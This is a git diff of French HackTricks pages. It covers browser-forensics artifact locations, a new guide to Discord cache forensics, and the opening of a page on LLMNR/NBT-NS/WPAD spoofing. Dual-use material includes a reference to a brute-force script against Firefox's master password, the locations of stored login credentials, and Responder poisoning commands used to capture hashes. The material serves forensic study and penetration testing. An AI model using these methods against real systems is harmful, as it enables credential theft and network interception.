- **Cache** : Stocke le contenu web (par ex. images, fichiers JavaScript) pour améliorer les temps de chargement des sites, utile en analyse médico-légale.
|
||||
- **Identifiants** : Identifiants de connexion stockés.
|
||||
- **Favicons** : Icônes associées aux sites web, apparaissant dans les onglets et les signets, utiles pour obtenir des informations supplémentaires sur les visites utilisateur.
|
||||
- **Sessions du navigateur** : Données liées aux sessions de navigateur ouvertes.
|
||||
- **Téléchargements** : Enregistrements des fichiers téléchargés via le navigateur.
|
||||
- **Données de Formulaire** : Informations saisies dans des formulaires web, sauvegardées pour des suggestions d'autocomplétion futures.
|
||||
- **Données de formulaire** : Informations saisies dans les formulaires web, sauvegardées pour les suggestions d'autocomplétion futures.
|
||||
- **Vignettes** : Images d'aperçu des sites web.
|
||||
- **Custom Dictionary.txt** : Mots ajoutés par l'utilisateur au dictionnaire du navigateur.
|
||||
|
||||
@ -25,34 +25,34 @@ Voici un résumé des artefacts de navigateur les plus courants :
|
||||
|
||||
Firefox organise les données utilisateur au sein de profils, stockés à des emplacements spécifiques selon le système d'exploitation :
|
||||
|
||||
- **Linux** : `~/.mozilla/firefox/`
|
||||
- **MacOS** : `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows** : `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
- **Linux**: `~/.mozilla/firefox/`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
Un fichier `profiles.ini` dans ces répertoires liste les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé dans la variable `Path` au sein de `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si le dossier d'un profil est manquant, il a peut-être été supprimé.
|
||||
Un fichier `profiles.ini` dans ces répertoires liste les profils utilisateur. Les données de chaque profil sont stockées dans un dossier nommé dans la variable Path à l'intérieur de `profiles.ini`, situé dans le même répertoire que `profiles.ini` lui-même. Si le dossier d'un profil manque, il peut avoir été supprimé.
|
||||
|
||||
Dans chaque dossier de profil, vous pouvez trouver plusieurs fichiers importants :
|
||||
|
||||
- **places.sqlite** : Stocke l'historique, les signets et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) sur Windows peuvent accéder aux données d'historique.
|
||||
- Utilisez des requêtes SQL spécifiques pour extraire les informations d'historique et de téléchargements.
|
||||
- **bookmarkbackups** : Contient des sauvegardes de signets.
|
||||
- **formhistory.sqlite** : Stocke les données des formulaires web.
|
||||
- **handlers.json** : Gère les gestionnaires de protocoles.
|
||||
- **persdict.dat** : Mots du dictionnaire personnalisé.
|
||||
- **addons.json** et **extensions.sqlite** : Informations sur les modules et extensions installés.
|
||||
- **cookies.sqlite** : Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sur Windows.
|
||||
- **cache2/entries** ou **startupCache** : Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite** : Stocke les favicons.
|
||||
- **prefs.js** : Paramètres et préférences utilisateur.
|
||||
- **downloads.sqlite** : Base de données des anciens téléchargements, maintenant intégrée dans places.sqlite.
|
||||
- **thumbnails** : Vignettes de sites web.
|
||||
- **logins.json** : Informations de connexion chiffrées.
|
||||
- **key4.db** ou **key3.db** : Stocke les clés de chiffrement pour sécuriser les informations sensibles.
|
||||
- **places.sqlite**: Stocke l'historique, les signets et les téléchargements. Des outils comme [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) sous Windows peuvent accéder aux données d'historique.
|
||||
- Utiliser des requêtes SQL spécifiques pour extraire les informations d'historique et de téléchargements.
|
||||
- **bookmarkbackups**: Contient des sauvegardes des signets.
|
||||
- **formhistory.sqlite**: Stocke les données des formulaires web.
|
||||
- **handlers.json**: Gère les protocol handlers.
|
||||
- **persdict.dat**: Mots du dictionnaire personnalisé.
|
||||
- **addons.json** et **extensions.sqlite**: Informations sur les add-ons et extensions installés.
|
||||
- **cookies.sqlite**: Stockage des cookies, avec [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible pour inspection sous Windows.
|
||||
- **cache2/entries** ou **startupCache**: Données de cache, accessibles via des outils comme [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
|
||||
- **favicons.sqlite**: Stocke les favicons.
|
||||
- **prefs.js**: Paramètres et préférences utilisateur.
|
||||
- **downloads.sqlite**: Ancienne base de données des téléchargements, maintenant intégrée dans places.sqlite.
|
||||
- **thumbnails**: Vignettes des sites web.
|
||||
- **logins.json**: Informations de connexion chiffrées.
|
||||
- **key4.db** ou **key3.db**: Stocke les clés de chiffrement pour sécuriser les informations sensibles.
|
||||
|
||||
De plus, vérifier les paramètres anti-phishing du navigateur peut être fait en recherchant les entrées `browser.safebrowsing` dans `prefs.js`, indiquant si les fonctionnalités de navigation sécurisée sont activées ou désactivées.
|
||||
De plus, vérifier les paramètres anti-phishing du navigateur peut se faire en recherchant des entrées `browser.safebrowsing` dans `prefs.js`, indiquant si les fonctionnalités de safe browsing sont activées ou désactivées.
|
||||
|
||||
Pour essayer de déchiffrer le mot de passe principal, vous pouvez utiliser [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
Avec le script et l'appel suivants, vous pouvez spécifier un fichier de mot de passe à forcer :
|
||||
Pour tenter de décrypter le mot de passe maître, vous pouvez utiliser [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
|
||||
Avec le script suivant et l'appel vous pouvez spécifier un fichier de mots de passe pour une attaque par force brute :
|
||||
```bash:brute.sh
|
||||
#!/bin/bash
|
||||
|
||||
@ -67,96 +67,103 @@ done < $passfile
|
||||
|
||||
## Google Chrome
|
||||
|
||||
Google Chrome stocke les profils utilisateurs à des emplacements spécifiques en fonction du système d'exploitation :
|
||||
Google Chrome stocke les profils utilisateur dans des emplacements spécifiques selon le système d'exploitation :
|
||||
|
||||
- **Linux** : `~/.config/google-chrome/`
|
||||
- **Windows** : `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS** : `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
- **Linux**: `~/.config/google-chrome/`
|
||||
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||
|
||||
Dans ces répertoires, la plupart des données utilisateur peuvent être trouvées dans les dossiers **Default/** ou **ChromeDefaultData/**. Les fichiers suivants contiennent des données significatives :
|
||||
Dans ces répertoires, la plupart des données utilisateur se trouvent dans les dossiers **Default/** ou **ChromeDefaultData/**. Les fichiers suivants contiennent des données importantes :
|
||||
|
||||
- **History** : Contient des URL, des téléchargements et des mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) peut être utilisé pour lire l'historique. La colonne "Transition Type" a diverses significations, y compris les clics des utilisateurs sur des liens, les URL tapées, les soumissions de formulaires et les rechargements de pages.
|
||||
- **Cookies** : Stocke les cookies. Pour inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) est disponible.
|
||||
- **Cache** : Contient des données mises en cache. Pour inspecter, les utilisateurs de Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||
- **Bookmarks** : Signets de l'utilisateur.
|
||||
- **Web Data** : Contient l'historique des formulaires.
|
||||
- **History** : Contient les URL, les téléchargements et les mots-clés de recherche. Sur Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) peut être utilisé pour lire l'historique. La colonne "Transition Type" a plusieurs significations, incluant les clics utilisateur sur des liens, les URL tapées, les soumissions de formulaires et les rechargements de page.
|
||||
- **Cookies** : Stocke les cookies. Pour les inspecter, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) est disponible.
|
||||
- **Cache** : Contient des données mises en cache. Pour les inspecter, les utilisateurs Windows peuvent utiliser [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||
|
||||
Les applications desktop basées sur Electron (par ex. Discord) utilisent également Chromium Simple Cache et laissent des artefacts riches sur disque. Voir :
|
||||
|
||||
{{#ref}}
|
||||
discord-cache-forensics.md
|
||||
{{#endref}}
|
||||
- **Bookmarks** : Favoris utilisateur.
|
||||
- **Web Data** : Contient l'historique de formulaires.
|
||||
- **Favicons** : Stocke les favicons des sites web.
|
||||
- **Login Data** : Inclut les identifiants de connexion comme les noms d'utilisateur et les mots de passe.
|
||||
- **Current Session**/**Current Tabs** : Données sur la session de navigation actuelle et les onglets ouverts.
|
||||
- **Last Session**/**Last Tabs** : Informations sur les sites actifs lors de la dernière session avant la fermeture de Chrome.
|
||||
- **Login Data** : Contient les identifiants de connexion tels que noms d'utilisateur et mots de passe.
|
||||
- **Current Session**/**Current Tabs** : Données sur la session de navigation en cours et les onglets ouverts.
|
||||
- **Last Session**/**Last Tabs** : Informations sur les sites actifs pendant la dernière session avant la fermeture de Chrome.
|
||||
- **Extensions** : Répertoires pour les extensions et addons du navigateur.
|
||||
- **Thumbnails** : Stocke les vignettes des sites web.
|
||||
- **Preferences** : Un fichier riche en informations, y compris les paramètres pour les plugins, les extensions, les pop-ups, les notifications, et plus encore.
|
||||
- **Browser’s built-in anti-phishing** : Pour vérifier si la protection anti-phishing et contre les logiciels malveillants est activée, exécutez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie.
|
||||
- **Thumbnails** : Stocke les miniatures des sites web.
|
||||
- **Preferences** : Fichier riche en informations, incluant les paramètres des plugins, extensions, pop-ups, notifications, et plus.
|
||||
- **Browser’s built-in anti-phishing** : Pour vérifier si la protection contre le phishing et les malwares est activée, lancez `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Recherchez `{"enabled: true,"}` dans la sortie.
|
||||
|
||||
## **Récupération de données SQLite DB**
|
||||
## **SQLite DB Data Recovery**
|
||||
|
||||
Comme vous pouvez l'observer dans les sections précédentes, Chrome et Firefox utilisent des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées à l'aide de l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
Comme vous pouvez le constater dans les sections précédentes, Chrome et Firefox utilisent des bases de données **SQLite** pour stocker les données. Il est possible de **récupérer des entrées supprimées en utilisant l'outil** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ou** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
Internet Explorer 11 gère ses données et métadonnées à travers divers emplacements, aidant à séparer les informations stockées et leurs détails correspondants pour un accès et une gestion faciles.
|
||||
Internet Explorer 11 gère ses données et métadonnées à travers plusieurs emplacements, ce qui aide à séparer l'information stockée et ses détails correspondants pour un accès et une gestion facilités.
|
||||
|
||||
### Stockage des métadonnées
|
||||
### Metadata Storage
|
||||
|
||||
Les métadonnées pour Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16, ou V24). Accompagnant cela, le fichier `V01.log` peut montrer des écarts de temps de modification avec `WebcacheVX.data`, indiquant un besoin de réparation en utilisant `esentutl /r V01 /d`. Ces métadonnées, logées dans une base de données ESE, peuvent être récupérées et inspectées à l'aide d'outils comme photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivement. Dans la table **Containers**, on peut discerner les tables ou conteneurs spécifiques où chaque segment de données est stocké, y compris les détails de cache pour d'autres outils Microsoft tels que Skype.
|
||||
Les métadonnées pour Internet Explorer sont stockées dans `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (avec VX étant V01, V16, ou V24). Le fichier `V01.log` peut présenter des divergences d'horodatage de modification avec `WebcacheVX.data`, indiquant un besoin de réparation via `esentutl /r V01 /d`. Ces métadonnées, hébergées dans une base ESE, peuvent être récupérées et inspectées respectivement avec des outils comme photorec et [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). Dans la table **Containers**, on peut discerner les tables ou containers spécifiques où chaque segment de données est stocké, incluant les détails du cache pour d'autres outils Microsoft comme Skype.
|
||||
|
||||
### Inspection du cache
|
||||
### Cache Inspection
|
||||
|
||||
L'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permet l'inspection du cache, nécessitant l'emplacement du dossier d'extraction des données de cache. Les métadonnées pour le cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'origine de l'URL, et des horodatages indiquant les temps de création, d'accès, de modification et d'expiration du cache.
|
||||
L'outil [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permet d'inspecter le cache, nécessitant l'emplacement du dossier d'extraction des données du cache. Les métadonnées du cache incluent le nom de fichier, le répertoire, le nombre d'accès, l'URL d'origine et des horodatages indiquant la création, l'accès, la modification et l'expiration du cache.
|
||||
|
||||
### Gestion des cookies
|
||||
### Cookies Management
|
||||
|
||||
Les cookies peuvent être explorés à l'aide de [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), avec des métadonnées englobant les noms, les URL, les comptes d'accès, et divers détails temporels. Les cookies persistants sont stockés dans `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, tandis que les cookies de session résident en mémoire.
|
||||
Les cookies peuvent être explorés avec [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), les métadonnées comprenant noms, URL, comptes d'accès et divers détails temporels. Les cookies persistants sont stockés dans `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, tandis que les cookies de session résident en mémoire.
|
||||
|
||||
### Détails des téléchargements
|
||||
### Download Details
|
||||
|
||||
Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), avec des conteneurs spécifiques contenant des données comme l'URL, le type de fichier, et l'emplacement de téléchargement. Les fichiers physiques peuvent être trouvés sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
Les métadonnées des téléchargements sont accessibles via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), avec des containers spécifiques contenant des données telles que l'URL, le type de fichier et l'emplacement du téléchargement. Les fichiers physiques peuvent se trouver sous `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||
|
||||
### Historique de navigation
|
||||
### Browsing History
|
||||
|
||||
Pour examiner l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé, nécessitant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées ici incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique sont situés dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
Pour consulter l'historique de navigation, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé, en fournissant l'emplacement des fichiers d'historique extraits et la configuration pour Internet Explorer. Les métadonnées incluent les temps de modification et d'accès, ainsi que les comptes d'accès. Les fichiers d'historique se trouvent dans `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||
|
||||
### URL tapées
|
||||
### Typed URLs
|
||||
|
||||
Les URL tapées et leurs temps d'utilisation sont stockés dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URL saisies par l'utilisateur et leurs derniers temps d'entrée.
|
||||
Les URL tapées et leurs horaires d'utilisation sont stockées dans le registre sous `NTUSER.DAT` à `Software\Microsoft\InternetExplorer\TypedURLs` et `Software\Microsoft\InternetExplorer\TypedURLsTime`, suivant les 50 dernières URL entrées par l'utilisateur et leurs derniers temps de saisie.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
Microsoft Edge stocke les données utilisateur dans `%userprofile%\Appdata\Local\Packages`. Les chemins pour divers types de données sont :
|
||||
|
||||
- **Profile Path** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads** : `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Settings, Bookmarks, and Reading List** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache** : `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Last Active Sessions** : `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
|
||||
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
|
||||
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
|
||||
|
||||
## Safari
|
||||
|
||||
Les données de Safari sont stockées à `/Users/$User/Library/Safari`. Les fichiers clés incluent :
|
||||
Les données Safari sont stockées dans `/Users/$User/Library/Safari`. Les fichiers clés incluent :
|
||||
|
||||
- **History.db** : Contient les tables `history_visits` et `history_items` avec des URL et des horodatages de visite. Utilisez `sqlite3` pour interroger.
|
||||
- **History.db** : Contient les tables `history_visits` et `history_items` avec les URL et les horodatages des visites. Utilisez `sqlite3` pour interroger.
|
||||
- **Downloads.plist** : Informations sur les fichiers téléchargés.
|
||||
- **Bookmarks.plist** : Stocke les URL des signets.
|
||||
- **TopSites.plist** : Sites les plus fréquemment visités.
|
||||
- **Extensions.plist** : Liste des extensions du navigateur Safari. Utilisez `plutil` ou `pluginkit` pour récupérer.
|
||||
- **Bookmarks.plist** : Stocke les URLs mises en favoris.
|
||||
- **TopSites.plist** : Sites les plus visités.
|
||||
- **Extensions.plist** : Liste des extensions Safari. Utilisez `plutil` ou `pluginkit` pour récupérer.
|
||||
- **UserNotificationPermissions.plist** : Domaines autorisés à envoyer des notifications. Utilisez `plutil` pour analyser.
|
||||
- **LastSession.plist** : Onglets de la dernière session. Utilisez `plutil` pour analyser.
|
||||
- **Browser’s built-in anti-phishing** : Vérifiez en utilisant `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active.
|
||||
- **Browser’s built-in anti-phishing** : Vérifiez avec `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Une réponse de 1 indique que la fonctionnalité est active.
|
||||
|
||||
## Opera
|
||||
|
||||
Les données d'Opera résident dans `/Users/$USER/Library/Application Support/com.operasoftware.Opera` et partagent le format de Chrome pour l'historique et les téléchargements.
|
||||
|
||||
- **Browser’s built-in anti-phishing** : Vérifiez en vérifiant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` en utilisant `grep`.
|
||||
- **Browser’s built-in anti-phishing** : Vérifiez en regardant si `fraud_protection_enabled` dans le fichier Preferences est défini sur `true` avec `grep`.
|
||||
|
||||
Ces chemins et commandes sont cruciaux pour accéder et comprendre les données de navigation stockées par différents navigateurs web.
|
||||
Ces chemins et commandes sont essentiels pour accéder et comprendre les données de navigation stockées par les différents navigateurs web.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
|
||||
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
|
||||
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
|
||||
- **Livre : OS X Incident Response: Scripting and Analysis par Jaron Bradley pag 123**
|
||||
- **Livre : OS X Incident Response: Scripting and Analysis By Jaron Bradley p. 123**
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,89 @@
|
||||
# Forensique du cache Discord (Chromium Simple Cache)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Cette page résume comment effectuer le triage des artefacts de cache de Discord Desktop pour récupérer des fichiers exfiltrés, des endpoints webhook, et des timelines d'activité. Discord Desktop est une application Electron/Chromium et utilise Chromium Simple Cache sur disque.
|
||||
|
||||
## Où chercher (Windows/macOS/Linux)
|
||||
|
||||
- Windows: %AppData%\discord\Cache\Cache_Data
|
||||
- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
|
||||
- Linux: ~/.config/discord/Cache/Cache_Data
|
||||
|
||||
Structures clés sur disque dans Cache_Data :
|
||||
- index: Simple Cache index database
|
||||
- data_#: Fichiers binaires de blocs de cache pouvant contenir plusieurs objets mis en cache
|
||||
- f_######: Entrées mises en cache individuelles stockées comme fichiers autonomes (souvent des contenus plus volumineux)
|
||||
|
||||
Remarque : La suppression de messages/channels/serveurs dans Discord ne purge pas ce cache local. Les éléments mis en cache restent souvent présents et leurs timestamps de fichiers correspondent à l'activité utilisateur, permettant la reconstruction d'une timeline.
|
||||
|
||||
## Ce qui peut être récupéré
|
||||
|
||||
- Pièces jointes exfiltrées et vignettes récupérées via cdn.discordapp.com/media.discordapp.net
|
||||
- Images, GIFs, vidéos (ex. .jpg, .png, .gif, .webp, .mp4, .webm)
|
||||
- Webhook URLs (https://discord.com/api/webhooks/…)
|
||||
- Appels API Discord (https://discord.com/api/vX/…)
|
||||
- Utile pour corréler beaconing/exfil activity et hacher les médias pour la correspondance d'intel
|
||||
|
||||
## Triage rapide (manuel)
|
||||
|
||||
- Grep le cache pour des artefacts à fort signal :
|
||||
- Webhook endpoints:
|
||||
- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
|
||||
- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
|
||||
- Attachment/CDN URLs:
|
||||
- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
|
||||
- Discord API calls:
|
||||
- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
|
||||
- Trier les entrées mises en cache par date de modification pour construire rapidement une timeline (mtime reflète le moment où l'objet a été placé en cache) :
|
||||
- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
|
||||
|
||||
## Parsing f_* entries (HTTP body + headers)
|
||||
|
||||
Les fichiers commençant par f_ contiennent les en-têtes de la réponse HTTP suivis du body. Le bloc d'en-têtes se termine typiquement par \r\n\r\n. En-têtes de réponse utiles :
|
||||
- Content-Type: Permet d'inférer le type de média
|
||||
- Content-Location or X-Original-URL: URL distante originale pour corrélation/aperçu
|
||||
- Content-Encoding: Peut être gzip/deflate/br (Brotli)
|
||||
|
||||
Les médias peuvent être extraits en séparant les en-têtes du corps et en décompressant au besoin selon Content-Encoding. Le magic-byte sniffing est utile lorsque Content-Type est absent.
|
||||
|
||||
## Automated DFIR: Discord Forensic Suite (CLI/GUI)
|
||||
|
||||
- Repo: https://github.com/jwdfir/discord_cache_parser
|
||||
- Fonction : Scanne récursivement le dossier de cache de Discord, trouve les URLs webhook/API/attachments, parse les bodies f_*, extrait éventuellement les médias (carving), et produit des rapports timeline en HTML + CSV avec des hashes SHA‑256.
|
||||
|
||||
Example CLI usage:
|
||||
```bash
|
||||
# Acquire cache (copy directory for offline parsing), then run:
|
||||
python3 discord_forensic_suite_cli \
|
||||
--cache "%AppData%\discord\Cache\Cache_Data" \
|
||||
--outdir C:\IR\discord-cache \
|
||||
--output discord_cache_report \
|
||||
--format both \
|
||||
--timeline \
|
||||
--extra \
|
||||
--carve \
|
||||
--verbose
|
||||
```
|
||||
Options clés:
|
||||
- --cache: Path to Cache_Data
|
||||
- --format html|csv|both
|
||||
- --timeline: Emit ordered CSV timeline (by modified time)
|
||||
- --extra: Also scan sibling Code Cache and GPUCache
|
||||
- --carve: Carve media from raw bytes near regex hits (images/video)
|
||||
- Sortie: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
|
||||
|
||||
## Conseils pour l'analyste
|
||||
|
||||
- Corréler le temps de modification (mtime) des fichiers f_* et data_* avec les fenêtres d'activité user/attacker pour reconstruire une chronologie.
|
||||
- Calculer le hash des médias récupérés (SHA-256) et les comparer aux jeux de données known-bad ou exfil.
|
||||
- Les URL de webhook extraites peuvent être testées pour liveness ou rotées ; envisager de les ajouter aux blocklists et aux proxies de retro-hunting.
|
||||
- Le Cache persiste après un “wiping” côté serveur. Si l'acquisition est possible, collecter l'intégralité du répertoire Cache et les caches voisins liés (Code Cache, GPUCache).
|
||||
|
||||
## References
|
||||
|
||||
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
|
||||
- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
|
||||
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,75 +1,75 @@
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relais
|
||||
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Protocoles Réseau
|
||||
## Protocoles réseau
|
||||
|
||||
### Protocoles de Résolution de Nom Local
|
||||
### Protocoles de résolution des noms locaux
|
||||
|
||||
- **LLMNR, NBT-NS, et mDNS** :
|
||||
- **LLMNR, NBT-NS, and mDNS**:
|
||||
- Microsoft et d'autres systèmes d'exploitation utilisent LLMNR et NBT-NS pour la résolution de noms locaux lorsque DNS échoue. De même, les systèmes Apple et Linux utilisent mDNS.
|
||||
- Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiée et de diffusion sur UDP.
|
||||
- Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature broadcast non authentifiée sur UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) peut être utilisé pour usurper des services en envoyant des réponses falsifiées aux hôtes interrogeant ces protocoles.
|
||||
- Des informations supplémentaires sur l'usurpation de services utilisant Responder peuvent être trouvées [ici](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
- Des informations complémentaires sur l'usurpation de services avec Responder sont disponibles [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### Protocole de Découverte Automatique de Proxy Web (WPAD)
|
||||
### Protocole de découverte automatique de proxy Web (WPAD)
|
||||
|
||||
- WPAD permet aux navigateurs de découvrir automatiquement les paramètres de proxy.
|
||||
- La découverte est facilitée via DHCP, DNS, ou un retour à LLMNR et NBT-NS si DNS échoue.
|
||||
- Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.
|
||||
- La découverte se fait via DHCP, DNS, ou en secours via LLMNR et NBT-NS si DNS échoue.
|
||||
- Responder peut automatiser les attaques WPAD, redirigeant les clients vers des serveurs WPAD malveillants.
|
||||
|
||||
### Responder pour le Poisoning de Protocole
|
||||
### Responder pour le Protocol Poisoning
|
||||
|
||||
- **Responder** est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS, et mDNS, répondant sélectivement en fonction des types de requêtes, ciblant principalement les services SMB.
|
||||
- Il est préinstallé dans Kali Linux, configurable à `/etc/responder/Responder.conf`.
|
||||
- Responder affiche les hachages capturés à l'écran et les enregistre dans le répertoire `/usr/share/responder/logs`.
|
||||
- Il prend en charge à la fois IPv4 et IPv6.
|
||||
- La version Windows de Responder est disponible [ici](https://github.com/lgandx/Responder-Windows).
|
||||
- **Responder** est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS et mDNS, répondant sélectivement selon les types de requêtes, ciblant principalement les services SMB.
|
||||
- Il est préinstallé sur Kali Linux et configurable dans `/etc/responder/Responder.conf`.
|
||||
- Responder affiche les hashes capturés à l'écran et les enregistre dans le répertoire `/usr/share/responder/logs`.
|
||||
- Il prend en charge IPv4 et IPv6.
|
||||
- Une version Windows de Responder est disponible [here](https://github.com/lgandx/Responder-Windows).
|
||||
|
||||
#### Exécution de Responder
|
||||
|
||||
- Pour exécuter Responder avec les paramètres par défaut : `responder -I <Interface>`
|
||||
- Pour un probing plus agressif (avec des effets secondaires potentiels) : `responder -I <Interface> -P -r -v`
|
||||
